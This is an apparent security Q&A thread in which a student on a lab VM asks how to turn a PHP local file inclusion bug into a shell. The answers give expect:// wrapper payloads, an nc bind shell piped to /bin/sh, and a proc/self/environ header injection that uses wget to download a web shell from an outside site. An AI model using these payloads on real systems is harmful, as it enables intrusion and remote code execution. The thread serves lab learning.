1

I am completing some online labs to do with cybersecurity and I have been given the task of dealing with a virtual machine of kali linux, to access a basic ip for a website called "yellow". we access it using an ip, our VM does not have an actual internet connection.

Now upon testing for a LFI exploit, there is one, however, it does not do what I want it to do. We are meant to find the token in http://10.102.x.x/description.php?page=instinct. Using this, I changed the ?page= part to ?page=../../var/www/token.txt.

When i hit enter to see the web-page i was greeted with the message of "In order to get this token you need to get a shell on the box and run the file you can find in /var/www/".

I have no clue how to get a shell onto this webpage. When I try doing it by putting a file in my vm's directory, with the link sort of looking like "" I am given the following warnings, without an output:

Warning: include(http://10.102.x.x/var/www/html/test.txt): failed to open stream: Connection refused in /var/www/html/description.php on line 5

Warning: include(): Failed opening 'http://10.102.x.x/var/www/html/test.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/description.php on line 5

description.php has the following code in it:

<?php
$image_name = $_GET['page'];

// Get the description from another file
include($image_name);

?>

I am specifically told to use a shell, and don't have a way around that. How do i upload a shell and exploit the directory that way?

2
  • What do you mean: "When I try doing it by putting a file in my vm's directory, with the link sort of looking like ""? What is in the file you created in order to include? We can't really see what you have tried without including this. Commented Nov 17, 2019 at 21:16
  • The problem appears to be "Connection Refused". Looks like an issue with the webserver you are trying to run from your attack VM. Commented Nov 18, 2019 at 3:13

2 Answers 2

1

Using PHP wrappers may do the trick as explained here : https://offsec.vchur.dk/2019/04/16/local-file-inclusion-lfi/

Here is the example quoted from previous link :

http://127.0.0.1/fileincl/example1.php?page=expect://ls

Here is an other example (using inline PHP) from https://www.php.net/manual/en/expect.examples-usage.php :

$stream = fopen("expect://ssh root@remotehost uptime", "r");

Once there, you have ability to RCE and thus craft your own (bind) shell, e.g. :

# Payload on target
nc -lkp 2222 | /bin/sh
# Locally :
nc 10.102.x.x 2222

Note: payload should be URL encoded (e.g. expect://nc%20-lk...)

0
-1

did you tried to look for passwd file, and make connection to the machine and then upload shell ? If not you can use proc/self/environ and use temper data to modify your header to something like: <?system('wget http://site.com/Shells/gny.txt -O shell.php');?> - This should use the LFI and proc/self/environ to execute the header which is our evil command.

5
  • how do I make connection to the machine? and why do I use that long link? Commented Nov 15, 2019 at 8:12
  • This is not a "long link" this is a command that will tell the machine to do this command (get gny.txt and make it to shell.php) - you can do that by modifying your header and if proc/self/environ is availiable it will execute the command.. Commented Nov 15, 2019 at 8:21
  • so it will look something like "10.102.x.x/description.php?page=expect://<?system('wget site.com/Shells/gny.txt -O shell.php');?>" ? Commented Nov 15, 2019 at 8:42
  • what will happen after doing this? Commented Nov 15, 2019 at 8:42
  • I see you are not very familiar with headers." When a web browser make a request it sends information to the server about what it is looking for in headers.When a web browser make a request it sends information to the server about what it is looking for in headers." If you successfully modify the header to this command the proc/self/environ will accept this header and will EXECUTE it. Commented Nov 15, 2019 at 9:12

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .